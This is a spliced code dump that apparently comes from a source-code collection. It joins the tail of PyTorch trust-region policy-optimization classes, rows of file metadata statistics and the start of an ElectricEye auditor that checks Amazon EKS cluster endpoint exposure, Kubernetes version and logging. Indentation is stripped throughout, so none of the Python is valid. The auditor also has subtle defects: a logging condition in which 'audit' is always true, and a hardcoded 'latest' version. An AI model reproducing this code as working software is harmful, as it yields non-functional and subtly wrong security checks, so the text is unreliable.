tot_grad_xy = autograd.grad(grad_y_vec, self.max_params, grad_outputs=c2, retain_graph=True)
hvp_x_vec = torch.cat([g.contiguous().view(-1, 1) for g in tot_grad_xy]) # B1
tot_grad_yx = autograd.grad(grad_x_vec, self.min_params, grad_outputs=c1, retain_graph=True)
hvp_y_vec = torch.cat([g.contiguous().view(-1, 1) for g in tot_grad_yx]) # B2
B = torch.cat([-hvp_x_vec, hvp_y_vec], dim=0)
a11 = autograd.grad(kl_x_vec, self.max_params, grad_outputs=c1, retain_graph=True)
a11_vec = torch.cat([g.contiguous().view(-1, 1) for g in a11]) # A11
a22 = autograd.grad(kl_y_vec, self.min_params, grad_outputs=c2, retain_graph=True)
a22_vec = torch.cat([g.contiguous().view(-1, 1) for g in a22]) # A22
a1 = a11_vec # + a12_vec
a2 = a22_vec # + a21_vec
A = torch.cat([a1, a2], dim=0)
Avp_ = lamda * A + B
return Avp_
D = LinearOperator((2*kl_x_vec.size(0), 2*kl_x_vec.size(0)), matvec=mv)
# if self.old_AinvC is not None:
# AinvC = lin.lgmres(D, torch.cat([-grad_x_vec,grad_y_vec],dim=0).clone().detach(), maxiter=2, x0=self.old_AinvC, tol=1e-2)
# else:
# AinvC = lin.lgmres(D, torch.cat([-grad_x_vec, grad_y_vec], dim=0).clone().detach(), maxiter=2, tol=1e-2)
# self.iter_num = 0
if self.old_AinvC is not None:
AinvC = lin.gmres(D, torch.cat([-grad_x_vec,grad_y_vec],dim=0).clone().detach(), maxiter=3,restrt=10, x0=self.old_AinvC, tol=1e-2)
else:
AinvC = lin.gmres(D, torch.cat([-grad_x_vec, grad_y_vec], dim=0).clone().detach(), maxiter=3,restrt=10, tol=1e-2)
self.iter_num = 0
# print('conv',AinvC[1])
# AinvC_temp, self.iter_num = conjugate_gradient_trpo(grad_x_vec = grad_x_vec, grad_y_vec=grad_y_vec,
# kl_x_vec=kl_x_vec, kl_y_vec=kl_y_vec, lam=lamda,
# max_params=self.max_params, min_params=self.min_params, c=torch.cat([-grad_x_vec,grad_y_vec],dim=0),
# x=None, nsteps=10,#2*grad_x_vec.shape[0],
# device=self.device, residual_tol=1)
AinvC = torch.FloatTensor(AinvC[0]).reshape(2*kl_x_vec.size(0), 1)
c1 = AinvC[0:int(AinvC.size(0)/2)]
c2 = AinvC[int(AinvC.size(0)/2):AinvC.size(0)]
a11 = autograd.grad(kl_x_vec, self.max_params, grad_outputs=c1, retain_graph=True)
a11_vec = torch.cat([g.contiguous().view(-1, 1) for g in a11])
a22 = autograd.grad(kl_y_vec, self.min_params, grad_outputs=c2, retain_graph=True)
a22_vec = torch.cat([g.contiguous().view(-1, 1) for g in a22])
a1 = a11_vec #+ a12_vec
a2 = a22_vec #+ a21_vec
A = torch.cat([a1,a2],dim=0)
esp = torch.abs(torch.matmul(AinvC.transpose(0,1),A))
self.old_AinvC = AinvC
# break
# print(AinvC, AinvC_temp)
cg_x = -c1
cg_y = -c2
index = 0
for p in self.max_params:
p.data.add_(cg_x[index: index + p.numel()].reshape(p.shape))
index += p.numel()
if index != cg_x.numel():
raise ValueError('CG size mismatch')
new_log_probs1, _, _ = get_log_prob()
objective = torch.exp(new_log_probs1 - log_probs1.detach()) * (val1_p)
ob_ed = objective.mean()
improve1 = ob_ed - ob
index = 0
for p in self.min_params:
p.data.add_(cg_y[index: index + p.numel()].reshape(p.shape))
index += p.numel()
if index != cg_y.numel():
raise ValueError('CG size mismatch')
_, new_log_probs2, _ = get_log_prob()
objective = torch.exp(new_log_probs2 - log_probs2.detach()) * (val1_p)
ob_ed = objective.mean()
improve2 = ob_ed - ob
stat = 5
if improve1<0 or improve2>0:
stat = 0
cg_x = -cg_x
index=0
for p in self.max_params:
p.data.add_(cg_x[index: index + p.numel()].reshape(p.shape))
index += p.numel()
cg_y = -cg_y
index=0
for p in self.min_params:
p.data.add_(cg_y[index: index + p.numel()].reshape(p.shape))
index += p.numel()
if improve1<0 and improve2<0:
stat=1
if improve1>0 and improve2<0:
stat=2
if improve1<0 and improve2>0:
stat=3
if improve1>0 and improve2>0:
stat=4
if self.collect_info:
self.norm_gx = torch.norm(grad_x_vec, p=2)
self.norm_gy = torch.norm(grad_y_vec, p=2)
self.norm_cgx = torch.norm(cg_x, p=2)
self.norm_cgy = torch.norm(cg_y, p=2)
self.solve_x = False if self.solve_x else True
return improve1, improve2, lamda, lam1, lam2, esp, stat, self.its
####################################
class TRPO(object):
def __init__(self, params, lam=1, esp=0.01, bound=0.01, device=torch.device('cpu'),
solve_x=False, collect_info=True):
self.model=params
self.params = list(params.parameters())
self.lam = lam
self.esp = esp
self.bound = bound
self.device = device
self.solve_x = solve_x
self.collect_info = collect_info
self.old_x = None
self.old_y = None
def zero_grad(self):
zero_grad(self.params)
def getinfo(self):
if self.collect_info:
return self.norm_gx, self.norm_cgx, self.iter_num, self.norm_kl
else:
raise ValueError(
'No update information stored. Set collect_info=True before call this method')
def step(self,get_logprob):
log_probs, val1_p = get_logprob()
objective = torch.exp(log_probs-log_probs.detach()) * (-val1_p)
loss = objective.mean()
kl = torch.mean(-log_probs)
grad = autograd.grad(loss, self.params, retain_graph=True)
grad_vec = torch.cat([g.contiguous().view(-1,1) for g in grad])
kl_p = autograd.grad(kl, self.params, create_graph=True, retain_graph=True)
kl_vec = torch.cat([g.contiguous().view(-1,1) for g in kl_p])
esp = self.esp
Ainvg, self.iter_num = conjugate_gradient_2trpo(grad_vec = grad_vec, kl_vec=kl_vec,
params=self.params, g=-grad_vec,
x=None, nsteps=10,#grad_vec.shape[0],
device=self.device,residual_tol = 1e-4)
g = autograd.grad(kl_vec, self.params, grad_outputs=Ainvg,retain_graph=True)
g_vec = torch.cat([g.contiguous().view(-1, 1) for g in g])
# a11 = autograd.grad(kl_vec, self.params, grad_outputs=Ainvg, retain_graph=True)
# a11_vec = torch.cat([g.contiguous().view(-1, 1) for g in a11]) # A11
sAs = torch.matmul(Ainvg.transpose(0,1),g_vec)
# def get_kl():
# pi_a2_s = self.model(torch.stack(state))
# dist_batch2 = Categorical(pi_a2_s)
# log_probs2 = dist_batch2.log_prob(action)
#
# kl = torch.mean(-log_probs2)
# return kl
# trpo_step(self.model, loss, get_kl, 0.01, 0)
step_size = torch.sqrt(torch.abs(2*esp/sAs))
improvement = 0
# AinvC are final parameters
expected_improvement = torch.matmul(Ainvg.transpose(0,1),-grad_vec)*step_size
cg_x = step_size*Ainvg
ratio=0
if sAs>0:
index = 0
for p in self.params:
p.data.add_(cg_x[index: index + p.numel()].reshape(p.shape))
index += p.numel()
if index != cg_x.numel():
raise ValueError('CG size mismatch')
log_probs_new, val1_p = get_logprob()
objective = torch.exp(log_probs_new-log_probs.detach()) * (-val1_p)
loss_ed = objective.mean()
improvement= loss_ed-loss
# a=1
# if sAs<0:
# a = -1
# if improvement>0:
# a=-2
ratio = -improvement/expected_improvement
if improvement>0 or ratio<0.1: # change update
improvement=0
index = 0
for p in self.params:
cg_x =-cg_x
p.data.add_(cg_x[index: index + p.numel()].reshape(p.shape))
index += p.numel()
if self.collect_info:
self.norm_gx = torch.norm(grad_vec, p=2)
self.norm_cgx = torch.norm(cg_x, p=2)
self.norm_kl = torch.norm(kl_vec, p=2)
self.solve_x = False if self.solve_x else True
return step_size, improvement, ratio, sAs
########################################################
class TRCoPO_ORCA(object):
def __init__(self, max_model, min_model, lam=1, esp=6, bound=0.01, device=torch.device('cpu'),
solve_x=False, collect_info=True):
self.max_model = max_model
self.min_model = min_model
self.max_params = list(max_model.parameters())
self.min_params = list(min_model.parameters())
self.lam = lam
self.esp = esp
self.bound = bound
self.device = device
self.solve_x = solve_x
self.collect_info = collect_info
self.old_x = None
self.old_y = None
def zero_grad(self):
zero_grad(self.max_params)
zero_grad(self.min_params)
def getinfo(self):
if self.collect_info:
return self.norm_gx, self.norm_gy, self.norm_px, self.norm_py, self.norm_cgx, self.norm_cgy, \
self.timer, self.iter_num
else:
raise ValueError(
'No update information stored. Set collect_info=True before call this method')
def getlamda(self, grad_vec, kl_vec, params, esp):
Ainvg, self.iter_num = conjugate_gradient_2trpo(grad_vec = grad_vec, kl_vec=kl_vec,
params=params, g=-grad_vec,
x=None, nsteps=10,#*grad_x_vec.shape[0],
device=self.device)
g = autograd.grad(kl_vec, params, grad_outputs=Ainvg,retain_graph=True)
g_vec = torch.cat([g.contiguous().view(-1, 1) for g in g])
sAs = torch.matmul(Ainvg.transpose(0,1),g_vec)
step_size = torch.sqrt(torch.abs(2*esp/sAs))
if sAs<0:
a=1
else:
a=0
return step_size, a
def step(self, advantage, state1, state2, action1,action2):
val1_p = advantage
dist_batch1 = self.max_model(state1)
log_probs1_inid = dist_batch1.log_prob(action1)
log_probs1 = log_probs1_inid.sum(1)
dist_batch2 = self.min_model(state2)
log_probs2_inid = dist_batch2.log_prob(action2)
log_probs2 = log_probs2_inid.sum(1)
objective = torch.exp(log_probs1 + log_probs2 - log_probs1.detach() - log_probs2.detach()) * (val1_p)
ob = objective.mean()
kl = torch.mean(-log_probs1 - log_probs2)
grad_x = autograd.grad(ob, self.max_params, create_graph=True, retain_graph=True)
grad_x_vec = torch.cat([g.contiguous().view(-1,1) for g in grad_x])
grad_y = autograd.grad(ob, self.min_params, create_graph=True, retain_graph=True)
grad_y_vec = torch.cat([g.contiguous().view(-1,1) for g in grad_y])
kl_x = autograd.grad(kl, self.max_params, create_graph=True, retain_graph=True)
kl_x_vec = torch.cat([g.contiguous().view(-1,1) for g in kl_x])
kl_y = autograd.grad(kl, self.min_params, create_graph=True, retain_graph=True)
kl_y_vec = torch.cat([g.contiguous().view(-1,1) for g in kl_y])
lam1,_ = self.getlamda(grad_x_vec, kl_x_vec, self.max_params, 0.01)
lam2,_ = self.getlamda(grad_y_vec, kl_y_vec, self.min_params, 0.01)
lamda = torch.min(lam1,lam2)
lamda = lamda/2
esp = 10
while esp>self.esp: #0.0001
lamda = lamda*2
AinvC, self.iter_num = conjugate_gradient_trpo(grad_x_vec = grad_x_vec, grad_y_vec=grad_y_vec,
kl_x_vec=kl_x_vec, kl_y_vec=kl_y_vec, lam=lamda,
max_params=self.max_params, min_params=self.min_params, c=torch.cat([-grad_x_vec,grad_y_vec],dim=0),
x=None, nsteps=10,residual_tol=1e-2,#*grad_x_vec.shape[0],
device=self.device)
# print(self.iter_num)
c1 = AinvC[0:int(AinvC.size(0)/2)]
c2 = AinvC[int(AinvC.size(0)/2):AinvC.size(0)]
a11 = autograd.grad(kl_x_vec, self.max_params, grad_outputs=c1, retain_graph=True)
a11_vec = torch.cat([g.contiguous().view(-1, 1) for g in a11])
a22 = autograd.grad(kl_y_vec, self.min_params, grad_outputs=c2, retain_graph=True)
a22_vec = torch.cat([g.contiguous().view(-1, 1) for g in a22])
a1 = a11_vec #+ a12_vec
a2 = a22_vec #+ a21_vec
A = torch.cat([a1,a2],dim=0)
esp = torch.abs(torch.matmul(AinvC.transpose(0,1),A))
cg_x = -c1
cg_y = -c2
index = 0
for p in self.max_params:
p.data.add_(cg_x[index: index + p.numel()].reshape(p.shape))
index += p.numel()
if index != cg_x.numel():
raise ValueError('CG size mismatch')
dist_batch1 = self.max_model(state1)
new_log_probs1_inid = dist_batch1.log_prob(action1)
new_log_probs1 = new_log_probs1_inid.sum(1)
objective = torch.exp(new_log_probs1 - log_probs1.detach()) * (val1_p)
ob_ed = objective.mean()
improve1 = ob_ed - ob
index = 0
for p in self.min_params:
p.data.add_(cg_y[index: index + p.numel()].reshape(p.shape))
index += p.numel()
if index != cg_y.numel():
raise ValueError('CG size mismatch')
dist_batch2 = self.min_model(state2)
new_log_probs2_inid = dist_batch2.log_prob(action2)
new_log_probs2 = new_log_probs2_inid.sum(1)
# new_log_probs1 = log_probs1_inid.sum(1)
objective = torch.exp(new_log_probs2 - log_probs2.detach()) * (val1_p)
ob_ed = objective.mean()
improve2 = ob_ed - ob
stat = 5
if improve1<0 or improve2>0:
stat = 0
cg_x = -cg_x
index=0
for p in self.max_params:
p.data.add_(cg_x[index: index + p.numel()].reshape(p.shape))
index += p.numel()
cg_y = -cg_y
index=0
for p in self.min_params:
p.data.add_(cg_y[index: index + p.numel()].reshape(p.shape))
index += p.numel()
if improve1<0 and improve2<0:
stat=1
if improve1>0 and improve2<0:
stat=2
if improve1<0 and improve2>0:
stat=3
if improve1>0 and improve2>0:
stat=4
if self.collect_info:
self.norm_gx = torch.norm(grad_x_vec, p=2)
self.norm_gy = torch.norm(grad_y_vec, p=2)
self.norm_cgx = torch.norm(cg_x, p=2)
self.norm_cgy = torch.norm(cg_y, p=2)
self.solve_x = False if self.solve_x else True
return improve1, improve2, lamda, lam1, lam2, esp, stat
################################################################################
class TRPO_ORCA(object):
def __init__(self, params, lam=1, esp=0.01, bound=0.01, device=torch.device('cpu'),
solve_x=False, collect_info=True):
self.model=params
self.params = list(params.parameters())
self.lam = lam
self.esp = esp
self.bound = bound
self.device = device
self.solve_x = solve_x
self.collect_info = collect_info
self.old_x = None
self.old_y = None
def zero_grad(self):
zero_grad(self.params)
def getinfo(self):
if self.collect_info:
return self.norm_gx, self.norm_gy, self.norm_px, self.norm_py, self.norm_cgx, self.norm_cgy, \
self.timer, self.iter_num
else:
raise ValueError(
'No update information stored. Set collect_info=True before call this method')
def step(self, advantage, state, action):
val1_p = advantage
dist_batch = self.model(state)
log_probs_inid = dist_batch.log_prob(action)
log_probs = log_probs_inid.sum(1)
objective = torch.exp(log_probs-log_probs.detach()) * (-val1_p)
loss = objective.mean()
kl = torch.mean(-log_probs)
grad = autograd.grad(loss, self.params, retain_graph=True)
grad_vec = torch.cat([g.contiguous().view(-1,1) for g in grad])
kl_p = autograd.grad(kl, self.params, create_graph=True, retain_graph=True)
kl_vec = torch.cat([g.contiguous().view(-1,1) for g in kl_p])
esp = self.esp
Ainvg, self.iter_num = conjugate_gradient_2trpo(grad_vec = grad_vec, kl_vec=kl_vec,
params=self.params, g=-grad_vec,
x=None, nsteps=10,#*grad_x_vec.shape[0],
device=self.device)
g = autograd.grad(kl_vec, self.params, grad_outputs=Ainvg,retain_graph=True)
g_vec = torch.cat([g.contiguous().view(-1, 1) for g in g])
# a11 = autograd.grad(kl_vec, self.params, grad_outputs=Ainvg, retain_graph=True)
# a11_vec = torch.cat([g.contiguous().view(-1, 1) for g in a11]) # A11
sAs = torch.matmul(Ainvg.transpose(0,1),g_vec)
# def get_kl():
# pi_a2_s = self.model(torch.stack(state))
# dist_batch2 = Categorical(pi_a2_s)
# log_probs2 = dist_batch2.log_prob(action)
#
# kl = torch.mean(-log_probs2)
# return kl
# trpo_step(self.model, loss, get_kl, 0.01, 0)
step_size = torch.sqrt(torch.abs(2*esp/sAs))
improvement = 0
# AinvC are final parameters
expected_improvement = torch.matmul(Ainvg.transpose(0,1),-grad_vec)*step_size
cg_x = step_size*Ainvg
ratio=0
if sAs>0:
index = 0
for p in self.params:
p.data.add_(cg_x[index: index + p.numel()].reshape(p.shape))
index += p.numel()
if index != cg_x.numel():
raise ValueError('CG size mismatch')
dist_batch = self.model(state)
log_probs_new_inid = dist_batch.log_prob(action)
log_probs_new = log_probs_new_inid.sum(1)
objective = torch.exp(log_probs_new-log_probs.detach()) * (-val1_p)
loss_ed = objective.mean()
improvement= loss_ed-loss
# a=1
# if sAs<0:
# a = -1
# if improvement>0:
# a=-2
ratio = -improvement/expected_improvement
if improvement>0 or ratio<0.1: # change update
improvement=0
index = 0
for p in self.params:
cg_x =-cg_x
p.data.add_(cg_x[index: index + p.numel()].reshape(p.shape))
index += p.numel()
if self.collect_info:
self.norm_gx = torch.norm(grad_vec, p=2)
# self.norm_cgx = torch.norm(cg_x, p=2)
self.solve_x = False if self.solve_x else True
return step_size, improvement, ratio
| 39.526667
| 155
| 0.55861
| 3,339
| 23,716
| 3.743037
| 0.061995
| 0.012482
| 0.031205
| 0.024964
| 0.903345
| 0.887662
| 0.87502
| 0.855097
| 0.830213
| 0.807009
| 0
| 0.033963
| 0.319658
| 23,716
| 599
| 156
| 39.592654
| 0.740626
| 0.088463
| 0
| 0.796253
| 0
| 0
| 0.019088
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.044496
| false
| 0
| 0.018735
| 0
| 0.098361
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f74ff4ec3691a51dd5960faea3a0c854ecc62463
| 29,814
|
py
|
Python
|
eeauditor/auditors/aws/Amazon_EKS_Auditor.py
|
kbhagi/ElectricEye
|
31960e1e1cfb75c5d354844ea9e07d5295442823
|
[
"Apache-2.0"
] | 442
|
2020-03-15T20:56:36.000Z
|
2022-03-31T22:13:07.000Z
|
eeauditor/auditors/aws/Amazon_EKS_Auditor.py
|
kbhagi/ElectricEye
|
31960e1e1cfb75c5d354844ea9e07d5295442823
|
[
"Apache-2.0"
] | 57
|
2020-03-15T22:09:56.000Z
|
2022-03-31T13:17:06.000Z
|
eeauditor/auditors/aws/Amazon_EKS_Auditor.py
|
kbhagi/ElectricEye
|
31960e1e1cfb75c5d354844ea9e07d5295442823
|
[
"Apache-2.0"
] | 59
|
2020-03-15T21:19:10.000Z
|
2022-03-31T15:01:31.000Z
|
#This file is part of ElectricEye.
#SPDX-License-Identifier: Apache-2.0
#Licensed to the Apache Software Foundation (ASF) under one
#or more contributor license agreements. See the NOTICE file
#distributed with this work for additional information
#regarding copyright ownership. The ASF licenses this file
#to you under the Apache License, Version 2.0 (the
#"License"); you may not use this file except in compliance
#with the License. You may obtain a copy of the License at
#http://www.apache.org/licenses/LICENSE-2.0
#Unless required by applicable law or agreed to in writing,
#software distributed under the License is distributed on an
#"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
#KIND, either express or implied. See the License for the
#specific language governing permissions and limitations
#under the License.
import boto3
import datetime
from check_register import CheckRegister
registry = CheckRegister()
# import boto3 clients
eks = boto3.client("eks")
@registry.register_check("eks")
def eks_public_endpoint_access_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:
"""[EKS.1] Elastic Kubernetes Service (EKS) cluster API servers should not be accessible from the internet"""
# loop through EKS clusters
for clusters in eks.list_clusters(maxResults=100)["clusters"]:
cluster = str(clusters)
try:
response = eks.describe_cluster(name=cluster)
clusterName = str(response["cluster"]["name"])
clusterArn = str(response["cluster"]["arn"])
eksPublicAccessCheck = str(
response["cluster"]["resourcesVpcConfig"]["endpointPublicAccess"]
)
# ISO Time
iso8601Time = (
datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat()
)
if eksPublicAccessCheck == "True":
finding = {
"SchemaVersion": "2018-10-08",
"Id": clusterArn + "/public-endpoint-access-check",
"ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default",
"GeneratorId": clusterName,
"AwsAccountId": awsAccountId,
"Types": [
"Software and Configuration Checks/AWS Security Best Practices",
"Effects/Data Exposure",
],
"FirstObservedAt": iso8601Time,
"CreatedAt": iso8601Time,
"UpdatedAt": iso8601Time,
"Severity": {"Label": "CRITICAL"},
"Confidence": 99,
"Title": "[EKS.1] Elastic Kubernetes Service (EKS) cluster API servers should not be accessible from the internet",
"Description": "Elastic Kubernetes Service (EKS) cluster "
+ clusterName
+ " API server is accessible from the internet. Refer to the remediation instructions if this configuration is not intended",
"Remediation": {
"Recommendation": {
"Text": "If your EKS cluster is not intended to be public refer to the Amazon EKS Cluster Endpoint Access Control section of the EKS user guide",
"Url": "https://docs.aws.amazon.com/eks/latest/userguide/cluster-endpoint.html",
}
},
"ProductFields": {"Product Name": "ElectricEye"},
"Resources": [
{
"Type": "AwsEksCluster",
"Id": clusterArn,
"Partition": awsPartition,
"Region": awsRegion,
"Details": {"Other": {"Cluster Name": clusterName}},
}
],
"Compliance": {
"Status": "FAILED",
"RelatedRequirements": [
"NIST CSF PR.AC-3",
"NIST SP 800-53 AC-1",
"NIST SP 800-53 AC-17",
"NIST SP 800-53 AC-19",
"NIST SP 800-53 AC-20",
"NIST SP 800-53 SC-15",
"AICPA TSC CC6.6",
"ISO 27001:2013 A.6.2.1",
"ISO 27001:2013 A.6.2.2",
"ISO 27001:2013 A.11.2.6",
"ISO 27001:2013 A.13.1.1",
"ISO 27001:2013 A.13.2.1",
],
},
"Workflow": {"Status": "NEW"},
"RecordState": "ACTIVE",
}
yield finding
else:
finding = {
"SchemaVersion": "2018-10-08",
"Id": clusterArn + "/public-endpoint-access-check",
"ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default",
"GeneratorId": clusterName,
"AwsAccountId": awsAccountId,
"Types": [
"Software and Configuration Checks/AWS Security Best Practices",
"Effects/Data Exposure",
],
"FirstObservedAt": iso8601Time,
"CreatedAt": iso8601Time,
"UpdatedAt": iso8601Time,
"Severity": {"Label": "INFORMATIONAL"},
"Confidence": 99,
"Title": "[EKS.1] Elastic Kubernetes Service (EKS) cluster API servers should not be accessible from the internet",
"Description": "Elastic Kubernetes Service (EKS) cluster "
+ clusterName
+ " API server is not accessible from the internet.",
"Remediation": {
"Recommendation": {
"Text": "If your EKS cluster is not intended to be public refer to the Amazon EKS Cluster Endpoint Access Control section of the EKS user guide",
"Url": "https://docs.aws.amazon.com/eks/latest/userguide/cluster-endpoint.html",
}
},
"ProductFields": {"Product Name": "ElectricEye"},
"Resources": [
{
"Type": "AwsEksCluster",
"Id": clusterArn,
"Partition": awsPartition,
"Region": awsRegion,
"Details": {"Other": {"Cluster Name": clusterName}},
}
],
"Compliance": {
"Status": "PASSED",
"RelatedRequirements": [
"NIST CSF PR.AC-3",
"NIST SP 800-53 AC-1",
"NIST SP 800-53 AC-17",
"NIST SP 800-53 AC-19",
"NIST SP 800-53 AC-20",
"NIST SP 800-53 SC-15",
"AICPA TSC CC6.6",
"ISO 27001:2013 A.6.2.1",
"ISO 27001:2013 A.6.2.2",
"ISO 27001:2013 A.11.2.6",
"ISO 27001:2013 A.13.1.1",
"ISO 27001:2013 A.13.2.1",
],
},
"Workflow": {"Status": "RESOLVED"},
"RecordState": "ARCHIVED",
}
yield finding
except Exception as e:
print(e)
@registry.register_check("eks")
def eks_latest_k8s_version_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:
"""[EKS.2] Elastic Kubernetes Service (EKS) clusters should use the latest Kubernetes version"""
# loop through EKS clusters
for clusters in eks.list_clusters(maxResults=100)["clusters"]:
cluster = str(clusters)
try:
response = eks.describe_cluster(name=cluster)
clusterName = str(response["cluster"]["name"])
clusterArn = str(response["cluster"]["arn"])
k8sVersionCheck = str(response["cluster"]["version"])
# ISO Time
iso8601Time = (
datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat()
)
if k8sVersionCheck != "1.19":
finding = {
"SchemaVersion": "2018-10-08",
"Id": clusterArn + "/eks-latest-k8s-version-check",
"ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default",
"GeneratorId": clusterName,
"AwsAccountId": awsAccountId,
"Types": ["Software and Configuration Checks/AWS Security Best Practices",],
"FirstObservedAt": iso8601Time,
"CreatedAt": iso8601Time,
"UpdatedAt": iso8601Time,
"Severity": {"Label": "MEDIUM"},
"Confidence": 99,
"Title": "[EKS.2] Elastic Kubernetes Service (EKS) clusters should use the latest Kubernetes version",
"Description": "Elastic Kubernetes Service (EKS) cluster "
+ clusterName
+ " is using Kubernetes version "
+ k8sVersionCheck
+ ". Refer to the remediation instructions if this configuration is not intended",
"Remediation": {
"Recommendation": {
"Text": "Unless your application requires a specific version of Kubernetes, AWS recommends you choose the latest available Kubernetes version supported by Amazon EKS for your clusters. For upgrade information refer to the Updating an Amazon EKS Cluster Kubernetes Version section of the EKS user guide",
"Url": "https://docs.aws.amazon.com/eks/latest/userguide/update-cluster.html",
}
},
"ProductFields": {"Product Name": "ElectricEye"},
"Resources": [
{
"Type": "AwsEksCluster",
"Id": clusterArn,
"Partition": awsPartition,
"Region": awsRegion,
"Details": {"Other": {"Cluster Name": clusterName}},
}
],
"Compliance": {
"Status": "FAILED",
"RelatedRequirements": [
"NIST CSF ID.AM-2",
"NIST SP 800-53 CM-8",
"NIST SP 800-53 PM-5",
"AICPA TSC CC3.2",
"AICPA TSC CC6.1",
"ISO 27001:2013 A.8.1.1",
"ISO 27001:2013 A.8.1.2",
"ISO 27001:2013 A.12.5.1",
],
},
"Workflow": {"Status": "NEW"},
"RecordState": "ACTIVE",
}
yield finding
else:
finding = {
"SchemaVersion": "2018-10-08",
"Id": clusterArn + "/eks-latest-k8s-version-check",
"ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default",
"GeneratorId": clusterName,
"AwsAccountId": awsAccountId,
"Types": ["Software and Configuration Checks/AWS Security Best Practices",],
"FirstObservedAt": iso8601Time,
"CreatedAt": iso8601Time,
"UpdatedAt": iso8601Time,
"Severity": {"Label": "INFORMATIONAL"},
"Confidence": 99,
"Title": "[EKS.2] Elastic Kubernetes Service (EKS) clusters should use the latest Kubernetes version",
"Description": "Elastic Kubernetes Service (EKS) cluster "
+ clusterName
+ " is using Kubernetes version "
+ k8sVersionCheck,
"Remediation": {
"Recommendation": {
"Text": "Unless your application requires a specific version of Kubernetes, AWS recommends you choose the latest available Kubernetes version supported by Amazon EKS for your clusters. For upgrade information refer to the Updating an Amazon EKS Cluster Kubernetes Version section of the EKS user guide",
"Url": "https://docs.aws.amazon.com/eks/latest/userguide/update-cluster.html",
}
},
"ProductFields": {"Product Name": "ElectricEye"},
"Resources": [
{
"Type": "AwsEksCluster",
"Id": clusterArn,
"Partition": awsPartition,
"Region": awsRegion,
"Details": {"Other": {"Cluster Name": clusterName}},
}
],
"Compliance": {
"Status": "PASSED",
"RelatedRequirements": [
"NIST CSF ID.AM-2",
"NIST SP 800-53 CM-8",
"NIST SP 800-53 PM-5",
"AICPA TSC CC3.2",
"AICPA TSC CC6.1",
"ISO 27001:2013 A.8.1.1",
"ISO 27001:2013 A.8.1.2",
"ISO 27001:2013 A.12.5.1",
],
},
"Workflow": {"Status": "RESOLVED"},
"RecordState": "ARCHIVED",
}
yield finding
except Exception as e:
print(e)
@registry.register_check("eks")
def eks_logging_audit_auth_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:
"""[EKS.3] Elastic Kubernetes Service (EKS) clusters should have authenticator and/or audit logging enabled"""
# loop through EKS clusters
for clusters in eks.list_clusters(maxResults=100)["clusters"]:
cluster = str(clusters)
try:
response = eks.describe_cluster(name=cluster)
clusterName = str(response["cluster"]["name"])
clusterArn = str(response["cluster"]["arn"])
logInfo = response["cluster"]["logging"]["clusterLogging"]
for logs in logInfo:
logTypes = logs["types"]
enableCheck = str(logs["enabled"])
if enableCheck == "True":
for logs in logTypes:
# ISO Time
iso8601Time = (
datetime.datetime.utcnow()
.replace(tzinfo=datetime.timezone.utc)
.isoformat()
)
if str(logs) == "authenticator" and "audit":
finding = {
"SchemaVersion": "2018-10-08",
"Id": clusterArn + "/eks-logging-audit-auth-check",
"ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default",
"GeneratorId": clusterName,
"AwsAccountId": awsAccountId,
"Types": [
"Software and Configuration Checks/AWS Security Best Practices",
],
"FirstObservedAt": iso8601Time,
"CreatedAt": iso8601Time,
"UpdatedAt": iso8601Time,
"Severity": {"Label": "INFORMATIONAL"},
"Confidence": 99,
"Title": "[EKS.3] Elastic Kubernetes Service (EKS) clusters should have authenticator and/or audit logging enabled",
"Description": "Elastic Kubernetes Service (EKS) cluster "
+ clusterName
+ " has authenticator and audit logging enabled.",
"Remediation": {
"Recommendation": {
"Text": "To enable logging for your cluster refer to the Amazon EKS Control Plane Logging section of the EKS user guide",
"Url": "https://docs.aws.amazon.com/eks/latest/userguide/control-plane-logs.html",
}
},
"ProductFields": {"Product Name": "ElectricEye"},
"Resources": [
{
"Type": "AwsEksCluster",
"Id": clusterArn,
"Partition": awsPartition,
"Region": awsRegion,
"Details": {"Other": {"Cluster Name": clusterName}},
}
],
"Compliance": {
"Status": "PASSED",
"RelatedRequirements": [
"NIST CSF DE.AE-3",
"NIST SP 800-53 AU-6",
"NIST SP 800-53 CA-7",
"NIST SP 800-53 IR-4",
"NIST SP 800-53 IR-5",
"NIST SP 800-53 IR-8",
"NIST SP 800-53 SI-4",
"AICPA TSC CC7.2",
"ISO 27001:2013 A.12.4.1",
"ISO 27001:2013 A.16.1.7",
],
},
"Workflow": {"Status": "RESOLVED"},
"RecordState": "ACTIVE",
}
yield finding
else:
finding = {
"SchemaVersion": "2018-10-08",
"Id": clusterArn + "/eks-logging-audit-auth-check",
"ProductArn": f"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default",
"GeneratorId": clusterName,
"AwsAccountId": awsAccountId,
"Types": [
"Software and Configuration Checks/AWS Security Best Practices",
],
"FirstObservedAt": iso8601Time,
"CreatedAt": iso8601Time,
"UpdatedAt": iso8601Time,
"Severity": {"Label": "MEDIUM"},
"Confidence": 99,
"Title": "[EKS.3] Elastic Kubernetes Service (EKS) clusters should have authenticator and/or audit logging enabled",
"Description": "Elastic Kubernetes Service (EKS) cluster "
+ clusterName
+ " does not have authenticator or audit logging enabled. Refer to the remediation instructions if this configuration is not intended",
"Remediation": {
"Recommendation": {
"Text": "To enable logging for your cluster refer to the Amazon EKS Control Plane Logging section of the EKS user guide",
